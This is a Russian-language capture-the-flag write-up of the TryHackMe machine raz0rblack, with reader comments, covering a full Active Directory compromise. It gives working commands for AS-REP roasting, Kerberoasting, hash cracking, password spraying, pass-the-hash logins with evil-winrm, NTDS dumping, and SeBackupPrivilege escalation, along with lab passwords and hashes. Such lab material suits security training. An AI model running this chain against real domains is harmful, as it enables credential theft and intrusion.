Приветствую, вас, уважаемые кулхацкеры. Данный райт будет посвящен прохождению машины raz0rblack на TryHackMe
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях.
Шаг 0: Сканим Nmap-ом
Традиционно начинаем со сканирования сети с помощью Nmap
nmap -sC -sV -T4 10.10.215.15
-sC -> опция, запускающая сканирование на основе скриптов;
-sV -> определяет версии служб, запущенных на открытых портах;
-T4 -> время сканирования.
Хм, вроде ничего примечательного. Попробуем проенумить NFS.
Сетевая файловая система (NFS) - это распределенная файловая система, которая обеспечивает пользователям доступ к файлам, расположенным на удаленных компьютерах, и позволяет работать с этими файлами точно так же, как и с локальными.
nmap -sV –script=nfs* 10.10.215.15 -p 111
Шаг 1: Используем showmount
Также мы можем найти NFS при помощи утилиты showmount
showmount -e 10.10.215.15
Шаг 2: Монтируем /users
Создадим точку монтирования и смонтируем папку /users
mount -t nfs 10.10.215.15:/users ./creds
Посмотрев ее содержимое, мы увидим два файла
В txt будем лежать наш флаг, а вот в xlsx будет список пользователей
daven port
imogen royce
tamara vidal
arthur edwards
carl ingram
nolan cassidy
reza zaydan
ljudmila vetrova
rico delgado
tyson williams
steven bradley
chamber lin
Шаг 3: AS-REP Roasting
Имея список пользователей можно составить словарь для проведения AS-REP Roasting. Обычно, создавая пользователей в домене указывают первую букву имени, а за ним идет фамилия. Зная это, составим userlist, чтобы провести перебор пользователей без предварительной аутентификации.
dport
iroyce
tvidal
aedwards
cingram
ncassidy
rzaydan
lvetrova
rdelgado
twilliams
sbradley
clin
Для этого воспользуемся модулем GetNPUsers из утилиты Impacket
GetNPUsers raz0rblack.thm/ -userfile /root/users.txt -dc-ip 10.10.215.15
Результатом работы утилиты будет перехваченный AS-REP запрос пользователя twilliams.
Шаг 4: Брутфорсим с помощью JohnTheRipper
Перехватив запрос, мы можем запустить локальный перебор для получения пароля в открытом виде. Воспользуемся утилитой JohnTheRipper
john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Шаг 5: Используем CrackMapExec
Зная данные учетной записи, запустим crackmapexec для перечисления пользователей путем брутфорса RID
crackmapexec smb 10.10.215.15 -u twilliams -p roastpotatoes --rid-brute
В результате работы получим новых валидных пользователей для проведения дальнейшей атаки: xyan1d3, lvetrova, sbradley.
Вновь используем crackmapexec для спреинга пароля для указанных пользователей
Шаг 6: Используем smbpasswd для смены пароля
Как видно, у пользователя sbradley стоит статус STATUS_PASSWORD_MUST_CHANGE. Для смены пароля воспользуемся утилитой smbpasswd
smbpasswd -r 10.10.215.15 -U sbradley
-r -> опция для указания адреса удаленной машины;
-U -> опция для указания пользователя.
Шаг 7: Вперед smbmap
Далее воспользуемся утилитой SMBMap.
SMBMap позволяет пользователям перечислять диски общего доступа samba по всему домену. Программа составляет список совместных дисков, прав доступа на диск, общее содержимое, имеет функциональность выгрузки/загрузки, автоматическую загрузку файлов, имя которых совпадает с образцом и даже возможность удалённого выполнения команд. Этот инструмент был создан для тестирования на проникновение и предназначен для упрощения поиска потенциально чувствительных данных в крупных сетях.
smbmap -H 10.10.215.15 -u sbradley -p password
В результате увидим список доступных share. Скорее всего нам будет интересна /trash.
Шаг 8: Подключаемся через smbclient
Для просмотра потенциально интересных файлов подключимся через smb с помощью smbclient
smbclient //10.10.215.15/trash --user='sbradley%password'
Скачаем доступные файлы. В их числе будет архив, защищенный паролем.
Шаг 9: Юзаем zip2john
Для взлома пароля арихва воспользуемся утилитами Zip2John и JohnTheRipper
zip2john experiment_gone_wrong.zip > zip_hash.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Получив пароль в открытом виде, распакуем архив в котором содержится system.hive и ntds.dit.
Шаг 10: Достаем секреты с файлов
Чтобы локально извлечь секреты пользователей воспользуемся модулем secretsdump из утилиты Impacket
impacket-secretsdump --system system.hive -ntds ntds.dit LOCAL > dump.txt
Для отделения хешей из файла воспользуемся следующей командой
Шаг 11: CrackMapExec для подбора подходящего хеша
Для подбора хеша для пользователя lvetrova снова воспользуемся утилитой crackmapexec
crackmapexec smb 10.10.215.15 -u lvetrova -H hashes.txt
Шаг 12: Evil-WinRM
Для удаленного подключения будем использовать Evil-WinRM
evil-winrm -i 10.10.15.215 -u lvetrova -H f220d3988deb3f516c73f40ee16c431d
Посмотрев содержимое папки пользователя, увидим файл lvetrova.xml
В PowerShell есть метод хранения зашифрованных учетных данных, доступ к которым может получить только сохранившая их учетная запись пользователя. Приведенный выше код запрашивает учетные данные, а затем сохраняет их в зашифрованном виде в XML-файле. В результате получим флаг пользователя lvetrova.
Шаг 13: Проводим kerberoasting
Далее,зная имя пользователя и хеш его пароля, проведем атаку Kerberoasting, воспользуясь GetUserSPNs, запросив TGS
GetUserSPNs -dc-ip 10.10.215.15 raz0black.thm\lvetrova -hashes f220d3988deb3f516c73f40ee16c431d:f220d3988deb3f516c73f40ee16c431d -outputfile kerb.txt
Также, перехватив TGS, воспользуемся john для локального перебора паролей
john --rules --wordlist=/usr/share/wordlists/rockyou.txt kerb.txt
Шаг 14: Evil-WinRM с данными xyan1d3
evil-winrm -i 10.10.215.15 -u xyan1d3 -p cyanide9amine5628
whoami /all
У пользователя есть привилегия SeBackupPrivilege. Она была разработана с целью создания пользователями резервных копий. Эта привилегия должна обходить все ACL, установленные администратором в сети. Итак, в двух словах, данная привилегия позволяет пользователю читать любой файл на всей файловой системе, которая может также включать некоторые конфиденциальные файлы, такие как файл SAM или файл реестра SYSTEM. С точки зрения злоумышленника, эта привилегия может быть использована после того, как он закрепится в системе, а затем перейдет в повышенную оболочку, читая файлы SAM и, возможно, взламывая пароли пользователей с высокими привилегиями в системе или сети.
Для осуществления эскалации привилегий нам понадобится утилита diskshadow.exe, скрипт и две DLL: SeBackupPrivilegeUtils.dll и SeBackupPrivilegeCmdLets.dll.
Также создадим следующий скрипт для осуществления теневого копирования и назовем его diskshadow.txt:
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context persistentX
begin backupX
add volume C: alias cdriveX
createX
expose %cdrive% E:X
end backupX
set verbose onX -> будет выводить подробную информацию о выполнении;
set metadata -> задает местоположение файла метаданных для создания теневых копий;
set context persistentX -> устанавливает постоянную теневую копию, которая сохранится после команды выхода Diskshadow и переживет перезагрузку компьютера;
begin backupX -> начинает процесс теневого копирования;
add volume C: alias cdriveX -> Псевдоним дает имя теневому идентификатору;
createX -> cоздает виртуальный диск моментального снимка на сервере DataCore Server и обслуживает виртуальный диск на том же компьюетере;
expose %cdrive% E:X -> Раскрывает теневой идентификатор операционной системе и присваивает указанному диску букву X:
end backupX -> завершает процесс теневого копирования.
Загрузим скрипт через команду:
upload diskshadow.txt
Также загрузим 2 DLL, которые можно скачать отсюда:
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
и также загрузим их через команду upload. После загрузки для работы DLL пропишем следующее
import-module .\SeBackupPrivilegeCmdLets.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Сделав все процедуры запускаем наш скрипт через утилиту diskshadow.exe
diskshadow.exe /s C:\tmp\diskshadow.txt
/s-> указывает местоположение скрипта
После успешного создания теневой копии воспользуемся утилитой robocopy
robocopy /b E:\windows\ntds . ntds.dit
/b -> копирует файлы в режиме резервного копирования, что позволяет Robocopy переопределять параметры разрешений для файлов и папок (ACL). Это позволяет копировать файлы, к которым вы могли бы не иметь доступа, при условии, что они выполняются под учетной записью с достаточными привилегиями
После этого копируем куст реестра SYSTEM через команду reg save и выкачиваем наши файлы
reg save HKLM\SYSTEM C:\tmp\system
Шаг 15: Снова достаем креды
После скачивания файлов ntds.dit и system произведем локальный дамп секретов из этих файлов с помощью secretsdump
impacket-secretsdump -system system -ntds ntds.dit LOCAL
Шаг 16: Подключаемся с кредами админа
Получив хеш администратора подключимся с помощью того же evil-winrm
evil-winrm -i 10.10.215.15 -u administrator -H 9689931bed40ca5a2ce1218210177f0c
Просмотрим содержимое папки администратора
С помощью type откроем файл root.xml
Это наш флаг. Конвертируем из hex в обычный текст:
Here is your Root Flag
THM{1b4f46cc4fba46348273d18dc91da20d}
Также найдем флаг пользователя twilliams
И последний штрих: посмотрев все папки найдем директорию Top Secret, увидим там картинку и выкачаем ее
Это все, что мы хотели показать в данном разборе. Помните: 100% стойких систем не бывает. Практикуйтесь, ведь без этого никуда абсолютно любому пентестеру!
Комментарии (9)
olegtsss
02.10.2023 19:32Спасибо за статью. Не совсем понятно, а что делает:
$Credential = Import-Clixml -Path ".\file.xml"
$Credential.GetNetworkCredential().passwordap_security Автор
02.10.2023 19:32+1https://learn.microsoft.com/ru-ru/powershell/module/microsoft.powershell.utility/import-clixml?view=powershell-7.3
Надеюсь, это ответит на все ваши вопросы)olegtsss
02.10.2023 19:32Вот тут тогда надо переформулировать, иначе возникает не однозначность:
Приведенный выше код запрашивает учетные данные, а затем сохраняет их в зашифрованном виде в XML-файле. Import-Clixm импортирует из файла file.xml (который кто-то нечаянно забыл) ценную информацию в объект $Credential.
Я на практике ни разу этим не пользовался. А зачем вообще это нужно было делать было админу?
cinquefoil2016
02.10.2023 19:32А мне интересно AD на какой ОС построена и обновления все актуальные?
ap_security Автор
02.10.2023 19:32+1В основном Active Directory строится на базе семейства ОС Windows, ну потому что это все разработка Microsoft. А как раз при проведении пентестов часто встречаются либо непропатченные уязвимости, либо ошибки при настройке, которые и приводят к взлому системы
fish224
Боюсь, что если пароль будет не "123456" а довольно сложным, то Ваш метод, изложенный в статье, ничего взломать не сможет..
wearetyomsmnv
Прошу обратить внимание на название статьи - это райтап к учебной машине... Ясное дело, что в боевом пентесте, у заказчика будут совершенно другие креды ... а может быть и нет
uhahatbl_tv
Как показывает практика - «а может быть и нет…»????